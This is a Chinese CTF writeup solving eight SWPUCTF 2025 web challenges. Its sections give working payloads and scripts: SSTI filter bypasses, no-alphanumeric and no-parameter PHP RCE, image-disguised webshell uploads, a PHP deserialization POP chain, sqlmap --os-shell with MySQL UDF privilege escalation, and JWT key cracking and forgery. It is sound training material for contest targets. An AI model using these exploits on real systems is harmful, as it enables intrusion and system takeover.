SWPUCTF 2025 秋季新生赛 Writeup(全 8 题)
SWPUCTF 2025 秋季新生赛 Web 方向全部 8 道题解:从 SSTI 盲打到无字母数字 RCE,从反序列化全家桶到 SQL 注入 UDF 提权,一篇文章全收录。
目录
- 诚实大厅(SSTI 盲打)
- 我是复读机(Flask SSTI)
- DANGEROUS TRIAL(史莱姆四关)
- 光能族,哎呀(文件上传)
- FIRST MEETING(反序列化全家桶)
- php命令执行(无字母数字 RCE)
- sql仅仅只是sql吗(SQL注入+UDF提权)
- Punishing(战双帕弥什)
诚实大厅(SSTI 盲打)
题目主题:诚实大厅(”兄弟 GET ssti”)
考点:SSTI 盲打(无回显 + 不出网 + 严格过滤)→ RCE → 写文件外带
题目描述
页面提示:”兄弟 GET ssti”,参数为 ssti(GET),搜索框实际无回显。
题目分析
- 参数:
?ssti=xxx(GET) - 无回显:
{{7*7}}页面无变化 → 盲打题 - 有过滤:部分关键词返回 400
- 不出网:不能外带数据
解决思路
1 | Fuzz 黑名单 → 构造绕过链(attr + 字符串拼接)→ 时间盲注确认 RCE → 写静态目录读 flag |
解决过程
① Fuzz 黑名单(Burp Intruder / 脚本批量测)
1 | import requests |
黑名单结果:
| 被过滤(400) | 可用(200) |
|---|---|
. [ |
url_for self g |
config request lipsum |
os popen read |
class globals dict |
引号、数字、| |
builtins import eval exec |
|attr() |
② 构造绕过链
. 和 [ 被过滤 → 用 Jinja2 的 |attr() 过滤器:globals 被过滤 → 字符串拼接 '__glo''bals__'
1 | {{url_for|attr('__glo''bals__')|attr('get')('os')|attr('po''pen')('命令')|attr('read')()}} |
每个组件:
url_for→ Flask 全局函数(其 globals 里有 os)attr('__glo''bals__')→ 取 globals(拼接绕过过滤)attr('get')('os')→ 字典取 os 模块attr('po''pen')('命令')→ os.popen 执行命令attr('read')()→ 读取输出
③ 时间盲注确认 RCE
1 | {{url_for|attr('__glo''bals__')|attr('get')('os')|attr('po''pen')('sleep 3')|attr('read')()}} |
结果:基线 0.13s → sleep 测试 3.15s ✅ RCE 确认!
④ 写静态目录读 flag(无回显不出网解法)
1 | import requests |
结果
1 | NSSCTF{557188c9-ab53-418c-981c-db8d3cf324b5} |
新学知识
| 考点 | 要点 |
|---|---|
| Blind SSTI | 无回显 → 时间盲注 / 写文件外带 |
| Fuzz 黑名单 | 批量测词 → 400=拦 200=过 |
| attr() 过滤器 | 替代被过滤的 . 和 [ |
| 字符串拼接 | 'glo''bals' = 'globals' 绕过关键词过滤 |
| globals | 函数全局命名空间(藏着 os) |
| 写文件外带 | 结果写到可访问目录再读取 |
盲打 SSTI 三板斧
1 | 1. 时间盲注确认 RCE(sleep) |
我是复读机(Flask SSTI)
超级地球真理部收到了某城沦陷前最后发出的情报。找到里面隐藏的flag,支援我们在仰齐滨的作战。
考点:PHP 字符串自增 + 注释截断绕过 + SHA1 碰撞
题目分析
进去无法直接查看源码 也不能直接使用F12,先扫一遍目录看其他东西(或直接访问 ?one=1 触发源码显示)。
题目代码(highlight_file 显示):
1 |
|
解决思路
三关分别绕过:
- 第一关:PHP 字符串自增特性
- 第二关:eval 拼接 + 注释截断(提示:”把1给你了,注释都不会吗”)
- 第三关:SHA1 真实碰撞(SHAttered)
解决过程
第一关:字符串自增
1 | $add = substr($str, 0, 1); |
PHP 特性:'z'++ = 'aa'(字母自增溢出),'9'++ = 10
1 | GET 参数: one=1&str=z |
第二关:注释截断绕过
1 | eval('$B = 1;'.$comment.';echo $two;die();'); |
提示:”第二关我都把1给你了,注释都不会吗?” → 用注释!
黑名单过滤了 ( ; 空格 $ ~ # 引号等,但 / 没被过滤!
1 | GET 参数: two=1&comment=// |
第三关:SHA1 碰撞(SHAttered)
1 | $a1=(string)$_POST['one']; |
数组绕过无效((string) 强转成 “Array” 相等)。用真实 SHA1 碰撞对:
- shattered-1.pdf
- shattered-2.pdf
- 内容不同,但 sha1 都是
38762cf7f55934b34d179ae6a4c80cadccbb7f0a
1 | curl -o shattered-1.pdf https://shattered.io/static/shattered-1.pdf |
最终 Payload
1 | GET: ?one=1&str=z&two=1&comment=//&three=1 |
1 | import requests |
结果
1 | NSSCTF{...} |
新学知识
| 考点 | 要点 |
|---|---|
| PHP 字符串自增 | 'z'++ = 'aa'(长度变化触发条件) |
| eval 注释截断 | 拼接的 eval 用 // 注释掉后面的代码 |
| 正则黑名单绕过 | 注意哪些字符没被过滤(/ 可用) |
| SHA1 碰撞 | SHAttered:真实碰撞对(!==+=== 严格比较下只能上碰撞) |
| multipart 陷阱 | 字段带 filename 进 $_FILES;不带才进 $_POST |
DANGEROUS TRIAL(史莱姆四关)
题目主题:史莱姆四关闯关(”关于我转生成为ctf勇者这件事”,萌王 rimuru)
考点:XOR 登录加密 + intval 类型混淆 + data:// 协议 + base64 + 无参数函数 RCE + PHP 变量名点号转换绕过
题目描述
登录后进入四关 PHP 关卡,每关一个判断,全过 → eval 执行(RCE)。
1 | // 第一关:intval 类型混淆 |
题目分析
- 登录加密:登录页 JS 用 XOR + base64 加密后再提交
- 动态 path:登录成功后 302 重定向分配新 path(每次会话不同!)
- 四关:类型混淆 → 协议构造 → 文件内容控制 → 无参数 RCE
- 参数名陷阱:
NSS_CTF.LOVE含点号,PHP 会转成下划线!
解决思路
1 | 登录(XOR加密提交)→ 拿动态 path → 四关逐一突破 → 点号绕过 → 无参数 RCE → flag |
解决过程
① 登录:XOR 加密
登录页 JS:
1 | const key = 0xAA; |
复现加密:admin → y87Hw8Q=,123456 → m5iZnp+c
1 | import base64 |
💡 知识点:XOR 加密
- XOR 异或:
A ^ B = C,再C ^ B = A(对称) - 固定密钥 0xAA:
charCode ^ 0xAA加密,服务器同样方式解密 - 致命点:密钥和算法都在前端 → 完全可复现
💡 知识点:动态 path
- 登录成功返回 302 +
Location: /index.php?path=随机值 - path 每次会话不同,必须跟随重定向(用 allow_redirects=False 提取)
② 第一关:intval 类型混淆
1 | if (intval($raw) === 114514 && $raw !== '114514') |
解法:cat=114514abc
intval('114514abc')→ 解析到非数字停止 → 114514 ✓'114514abc' !== '114514'(字符串不相等)✓
💡 知识点:intval 类型混淆
intval()会从字符串开头解析数字,遇非数字停止- 强比较
===要求两边类型和值都相同,但 intval 已经转成 int - 变体:
114514e0、114514.0、114514/1、114514abc
③ 第二三关:data:// 协议 + base64
要求:Slime 以 XJ1 结尾,且 file_get_contents(Slime) 内容 trim 后 = rimuru
注释提示://base64_encode("rimuru")??? → base64_encode("rimuru") = "cmltdXJ1"
解法:Slime=data://text/plain;base64,cmltdXJ1
base64("rimuru") = "cmltdXJ1"—— 最后 3 个字符恰好是XJ1!data://text/plain;base64,XXX→ file_get_contents 解码得到rimuru- URL 以
XJ1结尾 ✓,内容 =rimuru✓
💡 知识点:data:// 协议
data://text/plain,内容→ 直接返回文本内容data://text/plain;base64,xxx→ base64 解码后返回- 用于满足
file_get_contents的内容要求(无需真实文件)
⚠️ 踩坑:URL 里的 // 和 ; 会被 HTTP 解析破坏 → 必须 URL 编码(用 requests 的 params= 自动编码,或手动 data%3A%2F%2F...)
④ 第四关:无参数函数 RCE
1 | if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $code)) { eval($code); } |
正则含义:匹配所有”函数调用”(函数名(参数),参数可递归)并删除 → 剩余必须是 ;
→ $code 只能由”无参函数调用”和 ; 组成(不能有变量/字符串/运算符)
解法:
1 | POST: NSS[CTF.LOVE=eval(end(current(get_defined_vars()))); |
get_defined_vars()→ 返回所有已定义变量($_GET是第一个)current()→ 取第一个($_GET数组)end()→ 取$_GET的最后一个元素(我放在最后的 x 参数)eval()→ 执行它!
💡 知识点:无参数函数 RCE 原理
- 正则只允许”无参数函数调用” → 用函数链”无中生有”拿到参数
- 经典链:
eval(end(current(get_defined_vars())))/eval(end(getallheaders())) getallheaders()陷阱:end()会取到服务器自动加的Content-Length(不是你的头)→ 优先用get_defined_vars链
其他常见无参 RCE 链:
| 链 | 参数来源 |
|---|---|
eval(end(current(get_defined_vars()))) |
GET/POST 变量 |
eval(end(getallheaders())) |
HTTP 头(注意顺序) |
eval(pos(array_reverse(getallheaders()))) |
反转后取第一个头 |
system(getenv(HTTP_A)) |
自定义头变环境变量(无 $ 版本) |
⑤ 点号绕过(关键!)
源码取 $_POST['NSS_CTF.LOVE'],但直接提交 NSS_CTF.LOVE 会失败!
原因:PHP 会把请求参数名里的 点 . 转成下划线 _:
- 提交
NSS_CTF.LOVE→ PHP 解析为NSS_CTF_LOVE→ 源码取不到!
解法(PHP < 8 特性):NSS[CTF.LOVE=xxx
- 参数名里的
[先出现并转为_后,后续的.不再转换(解析中断) NSS[CTF.LOVE→ 解析结果NSS_CTF.LOVE✓
💡 知识点:PHP 变量名转换规则
| 规则 | 说明 |
|---|---|
点 . / 空格 → _ |
NSS_CTF.LOVE → NSS_CTF_LOVE |
[ → _ 且中断转换 |
NSS[CTF.LOVE → NSS_CTF.LOVE(PHP < 8) |
| PHP 8 已修复 | 所有非法字符一律转 _ |
实测验证(PHP 7.3):
1 | // 提交 NSS[CTF.LOVE=test123 |
最终 payload
1 | 1. POST /index.php(无 path): username=<XOR加密> & password=<XOR加密> → 302 拿 path |
结果
1 | NSSCTF{96b33a9e-6934-42e8-9706-407c7ed3ce5a} |
新学知识
| 考点 | 要点 |
|---|---|
| XOR 加密 | 固定密钥 XOR + base64,前端算法可复现 |
| intval 类型混淆 | 数字开头字符串 + 强比较 |
| data:// 协议 | data://text/plain;base64,xxx 控制 file_get_contents 内容 |
| base64 巧合 | base64(“rimuru”)=”cmltdXJ1” 末尾正好 XJ1(注释提示) |
| 无参数 RCE | get_defined_vars() → current() → end() → eval() |
| 点号转下划线 | PHP 变量名转换;[ 中断转换绕过(PHP<8) |
| 动态 path | 登录 302 分配新 path,必须跟随 |
光能族,哎呀(文件上传)
题目主题:向超级驱逐舰发送增援指令(绝地潜兵 Helldivers 题材)
考点:前端 RC4 签名机制 + MD5 签名伪造 + 扩展名黑名单绕过(phtml)+ 图片马 + MIME 伪造
题目描述
上传页面(”↑ → ↓ ↓ ↓” 增援指令),只允许 JPG/PNG,上传时前端计算 sign 签名,服务端校验后才保存文件。
题目分析
- 前端加密:上传前 JS 用 RC4 + MD5 生成签名
- 密钥泄露:
SECRET_KEY = "monika creambread"硬编码在前端 JS - 保存名随机:
uploads/<16位随机hex>.<扩展名>(无法预测) - 响应回显路径:上传成功返回
已保存: uploads/xxx.jpg
解决思路
1 | 看前端 JS 找密钥 → Python 复现签名算法 → 探测后端校验规则 → 发现黑名单 → phtml 绕过 → 上传 webshell → RCE |
解决过程
① 侦察:前端源码泄露密钥
F12 查看 JS,发现关键代码:
1 | // 密钥硬编码在前端!!(任何攻击者都能看到) |
💡 核心知识点:前端加密 = 纸老虎
- 一切在前端浏览器里运行的逻辑,攻击者都可以用 Python/curl 完全复现
- 签名机制本意是”只有授权客户端能上传”,但密钥写在 JS 里 = 形同虚设
② 复现签名算法
1 | import hashlib |
💡 知识点:RC4 流密码
- RC4 = 用密钥生成伪随机密钥流,与明文逐字节异或
- 加密/解密是同一操作(
密文 = 明文 XOR 密钥流) - 这里密钥流由
"monika creambread"生成,加密对象是文件名 MD5 的 16 字节
③ 探测后端校验规则(黑盒方法论)
| 测试 | 结果 | 推断 |
|---|---|---|
test.jpg + MIME image/jpeg |
✅ 保存 hash.jpg |
基准 |
test.txt |
❌ 光能族干扰... |
校验扩展名 |
| 无 MIME | ❌ 拒绝 | 校验 MIME |
shell.png + MIME image/png |
✅ 成功 | MIME 可伪造 |
shell.php + MIME |
❌ 拒绝 | 黑名单? |
shell.php5 + MIME |
❌ 拒绝 | 黑名单含 php5 |
x.phtml + MIME |
✅ 保存 hash.phtml |
phtml 漏网!! |
💡 知识点:报错信息分类推断逻辑
- 签名错误 →
签名校验失败!侦测发现光能族 ↑ → ↓ ↓ ↓(独立报错) - 扩展名/MIME 错误 →
光能族干扰了我们的通讯...(统一报错) - 通过报错差异,可以判断”有几层校验、分别是什么”
💡 知识点:黑名单 vs 白名单
1 | 白名单(安全): 只允许 jpg/jpeg/png → 其他全部拒绝 |
这题是黑名单:禁了 php、php5,但漏了 phtml。判断方法:边界扩展名能过 = 黑名单。
💡 知识点:PHP 可解析扩展名全家桶
1 | .php .php3 .php4 .php5 .php7 .phtml .pht .phar .inc |
服务器配置了哪些能解析取决于 Nginx/PHP-FPM 配置,做题逐个试。
④ 构造图片马
1 | content = b'GIF89a\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\xff\xff\xff' \ |
上传 x.phtml + image/jpeg → 返回 已保存: uploads/9f979a73e5835462.phtml
💡 知识点:图片马
- 合法图片头 + 恶意代码,绕过”必须是图片”的内容校验
- GIF 头
GIF89a最短最常用;PNG 头\x89PNG\r\n\x1a\n
⑤ 访问执行
1 | curl "http://.../uploads/9f979a73e5835462.phtml?c=cat+/flag" |
响应头 X-Powered-By: PHP/7.3.33 → 确认被 PHP-FPM 解析 → RCE!
💡 知识点:响应头判断解析
X-Powered-By: PHP/...= 请求经过 PHP 处理(非 Nginx 静态文件)
结果
1 | NSSCTF{b1474909-9f02-404c-9fc3-8412a3f82b38} |
新学知识
| 考点 | 要点 |
|---|---|
| 前端签名 | 一切前端逻辑可复现,密钥硬编码 = 无认证 |
| RC4 | 流密码:密钥流 XOR 明文;加解密同操作 |
| 黑名单 vs 白名单 | 边界扩展名能过 = 黑名单 |
| phtml 绕过 | PHP 可解析扩展名全家桶逐个测 |
| MIME 伪造 | requests 里指定 content_type 即可 |
| 图片马 | 合法图片头 + PHP 代码 |
| 黑盒测试 | 报错差异 + 单变量对照实验 |
上传题通用检查清单
1 | 1. 看前端源码(加密/密钥/校验逻辑) |
FIRST MEETING(反序列化全家桶)
题目主题:PHP 反序列化全家桶(WEB → REVERSE → PWN → MISC → CRYPTO 五类连环)
考点:五大魔术方法 + POP 链构造 + md5 弱比较(0e)+ 序列化引用(& / R:)+ SplFileObject 读文件 + private/protected 序列化格式
题目描述
1 | $NSS = $_POST["NSS"]; |
五个类(WEB/REVERSE/PWN/MISC/CRYPTO)各有一个魔术方法,需要串成链。
题目分析
| 类 | 魔术方法 | 触发条件 | 动作 |
|---|---|---|---|
WEB |
__destruct |
对象销毁 | echo $sauy(字符串化对象) |
PWN |
__toString |
对象转字符串 | wings 检查 → 调不存在方法 |
REVERSE |
__call |
调不存在方法 | md5 弱比较 → ($acc)() |
MISC |
__invoke |
对象当函数 | 给不可访问属性赋值 |
CRYPTO |
__set |
赋不可访问属性 | new $kyarihoshi($rocage) |
解决思路
1 | 反序列化 → WEB::__destruct → PWN::__toString → REVERSE::__call(md5碰撞) |
解决过程
① 构造 POP 链(从出口反向设计)
出口:CRYPTO::__set 里的 echo "$kiss" → 如果能 new SplFileObject('/flag') → echo 输出文件内容!
反向推触发链:
1 | 要让 CRYPTO::__set 触发 |
💡 知识点:POP 链构造方法论
- 从出口反推:找 sink(echo/eval/system/文件操作)→ 找谁调用它 → 找谁调用那个 → … → 入口
- 每个魔术方法是一级”跳板”,属性完全可控 = 链可自由编排
② 每段链的绕过
段 1:WEB::__destruct → PWN::__toString
1 | class WEB { private $sauy; public function __destruct() { echo $this->sauy; } } |
$sauy = PWN 对象 → echo $sauy → PWN 没有 __toString 吗?有!→ 触发
段 2:PWN::__toString
1 | if ($this->wings === 'SHENG-YI') { $this->c0trick->MinatoNamikaze(); } |
$wings = 'SHENG-YI'(字符串强比较);$c0trick = REVERSE 对象 → 调 MinatoNamikaze(不存在)→ 触发 __call
段 3:REVERSE::__call(md5 弱比较)
1 | if (md5($this->harukaze) == md5($this->ysyy)) { ($this->acc)(); } |
$harukaze 和 $ysyy 用 0e 魔法字符串:
md5('QNKCDZO')=0e830400451993494058024219903391md5('240610708')=0e462097431906509019562988736854==弱比较:0e...= 科学计数法0×10^x = 0→ 0 == 0 ✓
💡 知识点:md5 弱比较(== vs ===)
==:只比较值,自动类型转换 →"0e123" == "0e456"=0 == 0= true===:类型+值都相同 → 碰撞无效- 常见 0e 字符串:
QNKCDZO、240610708、s878926199a、s155964671a、s214587387a - 防御:必须用
===+ 二进制安全比较
段 4:MISC::__invoke → CRYPTO::__set
1 | class MISC { public function __invoke() { $this->cr4p->png = '010'; } } |
$cr4p = CRYPTO 对象 → 给 png 赋值(CRYPTO 没有 png 属性)→ 触发 __set
💡 知识点:__set 触发条件
- 给不存在或不可访问(private/protected)的属性赋值时触发
- 常见场景:
$obj->png = '010'里 png 不是类的属性
段 5:CRYPTO::__set(引用 trick,核心)
1 | public function __set($a, $b){ |
last === dance 要求相等,但 dance 是 md5(rand(1,10000)) 随机值 → 无法预测
解法:序列化引用(注释提示 “find the trick”)
1 | $crypto->dance = 'x'; |
反序列化后 last 和 dance 指向同一块内存 → __set 里 $this->dance = md5(...) 赋值时,last 同步更新 → last === dance 恒成立 ✓
💡 知识点:序列化引用(R:)
- PHP 序列化里
R:N= 引用第 N 个已出现属性(r:N= 弱引用) - 用于绕过
===强比较(两个变量共享同一 zval) - 必须用 PHP 的
&引用让 serialize 自动生成(手工写 R: 编号极易错)
③ 终点:SplFileObject 读文件
1 | $kiss = new $this->kyarihoshi($this->rocage); // 类名和参数都可控! |
$kyarihoshi = ‘SplFileObject’,$rocage = ‘/flag’
new SplFileObject('/flag')→ 打开 flag 文件echo $kiss→ SplFileObject 继承 SplFileInfo 有__toString→ 输出文件第一行内容!
💡 知识点:PHP 内置类利用
SplFileObject($path):读文件(echo 输出第一行)SoapClient($wsdl):SSRF(触发 __call 时发请求)SimpleXMLElement($xml):XXEPharData($file):phar 反序列化DirectoryIterator($path):列目录
④ 序列化格式陷阱(新手必错)
1 | class WEB { private $sauy; } // 键名: "\0WEB\0sauy" → s:10:"\0WEB\0sauy" |
💡 知识点:序列化键名规则
| 可见性 | 键名格式 | 示例 |
|---|---|---|
| public | 原名 | s:5:"wings" |
| private | \0类名\0属性名 |
s:10:"\0WEB\0sauy" |
| protected | \0*\0属性名 |
s:11:"\0*\0re1sen" |
NULL 字节不能丢!bash 显示会删掉 \0,用 Python bytes 传输。
⑤ 生成 payload(完整脚本)
1 |
|
⚠️ 本地调试坑:Windows 没有 /flag → 先 new SplFileObject('flag.txt') 生成,再把序列化里的 s:8:"flag.txt" 替换为 s:5:"/flag"(注意同步改长度)
最终请求
1 | POST /index.php |
结果
1 | NSSCTF{acccc7c6-8fca-48fa-beac-b9f2f2b985d0} |
新学知识
| 考点 | 要点 |
|---|---|
| 五大魔术方法 | __destruct/__toString/__call/__invoke/__set 触发条件 |
| POP 链 | 从出口(sink)反向设计触发链 |
| md5 弱比较 | 0e 魔法字符串,== 自动类型转换 |
| 序列化引用 | & 引用 → R: 标记,绕过 === 强比较 |
| SplFileObject | 内置类读文件,__toString 输出内容 |
| 动态实例化 | new $classname($arg) 类名/参数完全可控 |
| 序列化格式 | public/private/protected 键名(\0 字节) |
| unserialize 入口 | 用户输入直接反序列化 = 无边界信任 |
反序列化题通用思路
1 | 1. 找入口:unserialize($_POST/GET/Cookie) / phar:// / session 反序列化 |
php命令执行(无字母数字 RCE)
题目主题:无字母数字 RCE(eval + 严格过滤)
考点:数组转字符串 + 字符串自增 + 变量变量(${})+ 参数分离 + PHP 解析优先级 + Content-Type 陷阱
题目描述
1 |
|
题目分析
① 过滤规则拆解
1 | preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\0-9]/", $rce) |
| 被过滤 ❌ | 可用 ✅ |
|---|---|
所有字母 a-zA-Z |
$ _(下划线) |
所有数字 0-9 |
. , ( ) [ ] |
! @ # % ^ & * |
{ } + = ; |
' " \ / | ~ < > ? : - |
空格、换行 |
可用字符:$ _ . , ( ) [ ] { } + = ; 空格 换行
② 限制条件
- 长度 ≤ 200(字节)
- 必须是字符串(不能数组绕过)
- 最终
eval($rce)执行
③ 关键点:异或 ^ 和取反 ~ 都被禁!
经典无字母 RCE 三件套:异或(^)、取反(~)、自增(++) —— 前两个被过滤 → 只能自增(++)!
解决思路
1 | 数组转字符串拿 "A" → 自增构造超全局名 "_POST" → 变量变量取出 $_POST → 参数分离调用 system |
解决过程
① 验证基本构件(本地 PHP 7.3)
| 构件 | 代码 | 结果 | 原理 |
|---|---|---|---|
| 数组转字符串 | $_=[].$_; |
"Array" |
数组连接 NULL → 自动转字符串(无引号!) |
| 造数字 | $_==$_ |
true=1 |
变量自比较(无 ! 无数字) |
| 取字符 | $_=$_{_}; |
"A" |
{_} = 偏移0(_ 常量→0),$str{} 旧式下标 |
| 字符串自增 | $_++; |
"A"→"B" |
PHP 字符串自增特性 |
| 变量函数调用 | $_="phpinfo";$_(1); |
✅ 执行 | 字符串加括号 = 调用同名函数 |
💡 知识点:数组转字符串
1 | $_=[]; // 空数组 |
PHP 数组转字符串固定为 "Array",其中字符:0='A' 1='r' 2='r' 3='a' 4='y'
💡 知识点:字符串自增(PHP 特性)
1 | "A"++ → "B" "Z"++ → "AA"(进位) |
利用它从 “A” 一路自增到目标字符(A→O 需要 14 次)。
② 设计目标:构造 $_POST 并调用
1 | 最终调用: $_POST["_"]($_POST["__"]) |
为什么选 _POST:字符 P O S T 都能从 “A” 共享自增链到达(比 _GET 的 T 更近)。
③ 构造 “_POST”(逐步拆解)
1 | $_=[].$_; // $_ = "Array" |
💡 知识点:前置/后置自增的区别
1 | $a = "O"; |
💡 知识点:共享自增链(核心优化)
- 如果每个字符都从 “A” 重新取+自增:P(+15) O(+14) S(+18) T(+19) = 66 次自增
- 共享一条链:A→O(14次)→P(1次)→S(4次)→T(1次)= 20 次!省了 46 次!
④ 变量变量取出 $_POST
1 | $$_[_]($$_[__]); // ✗ 错误写法! |
💡 知识点:PHP 解析优先级(致命坑!)
1 | $$a[b] // PHP 解析为 ${$a[b]}(先取下标,再变量变量) |
记忆口诀:$$a[b] = ${$a[b]}(先下标)——想”变量变量的值再下标”,必须写 ${$a}[b]!
⑤ 参数分离(绕过过滤的核心)
1 | ${$_}[_](${$_}[__]); |
💡 知识点:参数分离
- 代码里不出现任何字母(
_POST是构造的) - 函数名和命令都从超全局取 → 过滤只查代码字符串,查不到 POST 数据!
⑥ 最终 payload(194 字符)
1 | $_=[].$_;$_=$_{_};$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++; |
1 | POST / HTTP/1.1 |
⑦ 踩坑记录(调试过程)
| Bug | 原因 | 修复 |
|---|---|---|
$_=[].; |
语法错误(连接符缺操作数) | $_=[].$_; |
$=$_[_]; |
变量名 $ 不合法 |
$_=$_{_}; |
$$_[_] |
解析为 ${$_[$_]}(先下标) |
${$_}[_](明确优先级) |
| 偏移错误 | "Array"[1] = “r” 不是 “A” |
用偏移 0({_} 或 [_]) |
| 无 Content-Type | PHP 不解析 body → $_POST 空 |
加 Content-Type: application/x-www-form-urlencoded |
💡 知识点:Content-Type 陷阱
- PHP 只在
application/x-www-form-urlencoded或multipart/form-data时解析 body 填充$_POST - curl / Python requests 自动加该头;BP 手动构造请求必须自己加!
- 没有 Content-Type →
isset($_POST['rce'])= false → 题目完全不执行
结果
1 | NSSCTF{a2c39bed-4bfb-46a1-8e7e-87399fedd960} |
新学知识
| 考点 | 要点 |
|---|---|
| 无字母数字 RCE | 数组转字符串 + 自增 + 变量变量 |
| 数组转字符串 | [] . NULL = "Array"(无引号字符串化) |
| 字符串自增 | "A"++→"B","ar"++→"as" |
| 前置/后置自增 | $a++(先取值)vs ++$a(先自增) |
| 共享自增链 | 一个起点派生多个字符(省自增次数) |
$str{} 旧式下标 |
$_{_} = 偏移0(PHP 8 移除) |
变量变量 ${} |
${$_} = 变量名为 $_ 值的变量 |
$$a[b] 优先级坑 |
= ${$a[b]},需写 ${$a}[b] |
| 参数分离 | 函数名/命令从超全局取,绕过字符过滤 |
| Content-Type 陷阱 | 无该头则 $_POST 为空(BP 必加) |
无字母数字 RCE 三件套(总结)
1 | ① 异或 ^:两字符串异或构造目标字符 (需要 ^ 可用) |
sql仅仅只是sql吗(SQL注入+UDF提权)
题目主题:SQL 注入 → MySQL UDF 提权 → 系统命令执行(sqlmap –os-shell)
考点:堆叠注入 + DBA 权限 + UDF 自定义函数 + 文件写入 + 命令执行
题目描述
主界面是一个用户查询入口(GET 参数 id),存在 SQL 注入。
解决过程
① 注入点确认(sqlmap 探测)
1 | python sqlmap.py -u "http://node1.anna.nssctf.cn:27765/?id=1" --random-agent --os-shell |
sqlmap 识别出 4 种注入类型:
| 类型 | Payload | 说明 |
|---|---|---|
| 布尔盲注 | id=1 AND 4488=4488 |
页面真假判断 |
| 堆叠注入 | id=1;SELECT SLEEP(5)# |
多语句执行(关键!) |
| 时间盲注 | id=1 AND (SELECT SLEEP(5)) |
延时判断 |
| UNION 注入 | id=1 UNION SELECT NULL,... |
3 列,有回显 |
后端信息:MySQL >= 5.0.12(MariaDB fork)+ Nginx + PHP 7.3.33 + Linux
② –os-shell 自动提权(核心)
sqlmap 检测到 DBA 权限后,自动走 MySQL UDF 提权流程:
1 | ① 检测堆叠注入(多语句执行能力)✓ |
③ 命令执行拿 flag
1 | os-shell> ls / |
结果
1 | NSSCTF{2e272803-3aba-4afd-bd74-4a4085034cdf} |
原理详解
① 堆叠注入(Stacked Queries)
1 | -- 普通注入: 只能执行一条 SELECT |
条件:mysqli_multi_query() 等支持多语句的 API 才能堆叠(PDO 默认支持)。
② MySQL UDF 提权(核心原理)
UDF = User Defined Function(用户自定义函数)
MySQL 允许加载**动态库(.so)**注册自定义函数,函数内部可以执行任意代码!
利用条件:
1 | 1. 堆叠注入(或能执行多条语句) |
攻击步骤:
1 | -- ① 把恶意 .so 库写入 plugin 目录(sqlmap 自动做,也可手工) |
lib_mysqludf_sys.so 是公开的 UDF 利用库,提供:
sys_exec(命令)→ 执行命令(无回显)sys_eval(命令)→ 执行命令(有回显)
③ sqlmap –os-shell 原理
1 | --os-shell = 自动完成: 检测DBA → 上传UDF库 → 建函数 → 交互shell |
新学知识
| 考点 | 要点 |
|---|---|
| 堆叠注入 | ; 分隔多条语句,是 UDF 提权的前提 |
| UDF 提权 | 加载 .so 注册自定义函数 → 函数内执行系统命令 |
| lib_mysqludf_sys | 公开 UDF 库(sys_exec / sys_eval) |
| plugin 目录 | MySQL 插件目录(MariaDB: /usr/lib/mariadb/plugin/) |
| DBA 权限 | 提权必需(CREATE FUNCTION + FILE) |
| sqlmap –os-shell | 一条命令自动化 UDF 提权 |
| –random-agent | 随机 UA,防 WAF 指纹 |
手工 UDF 提权参考(理解原理)
1 | -- 1. 确认权限 |
sqlmap 常用命令速查
1 | sqlmap -u "url?id=1" --batch # 探测 |
Punishing(战双帕弥什)
题目主题:海之魔法少女 / 空中花园 / 构造体档案室(战双帕弥什)
考点:JWT 密钥爆破 → 伪造 admin → 文件上传(.htaccess + base64 shell)→ getshell
题目描述
页面显示当前角色 guest,”你不是 admin”。
提示:”好心小梅:Selena***,我只能帮你到这了”
题目分析
- Cookie 是 JWT:
{"username":"Lucia","role":"guest"}(HS256 签名) - /upload.php(构造体档案室)需要 admin 权限
- “Selena***” = 密钥以 Selena 开头,后面 3 位未知
解决思路
1 | 爆破 JWT 密钥 → 伪造 admin token → 进档案室 → 上传 .htaccess + base64 shell → getshell |
解决过程
① 爆破 JWT 密钥
JWT 签名 = HMAC-SHA256(密钥, “header.payload”)。用候选密钥算签名对比原 token:
1 | import hmac, hashlib, base64, itertools, string |
结果:密钥 = Selenahyw
② 伪造 admin JWT
1 | import hmac, hashlib, base64, json |
携带 admin token 访问 /upload.php → 进入”档案室”上传页面 ✅
③ 构造上传文件
文件 1:.htaccess(让 .jpg 当 PHP 执行 + 自动 base64 解码)
1 | AddType application/x-httpd-php .jpg |
文件 2:shell.jpg(一句话木马的 base64,绕过 <? 过滤)
1 | 原始木马: <?php eval($_POST["cmd"]);?> |
④ 上传 + 执行
1 | import requests |
结果
1 | NSSCTF{7377c967-e91c-42ef-9bc3-1e195bd3b500} |
新学知识
| 考点 | 要点 |
|---|---|
| JWT 密钥爆破 | 提示词(Selena***)+ 枚举后三位;HMAC 签名对比验证 |
| JWT 伪造 | 改 payload role → 用密钥重签 |
| .htaccess 提权 | AddType 改文件解析类型 |
| php://filter 伪协议 | convert.base64-decode 解码内容 |
| WAF 绕过 | <? 被过滤 → 木马 base64 编码 |
| auto_prepend_file | 每次执行 PHP 前自动包含指定文件 |
整理日期:2026-08-11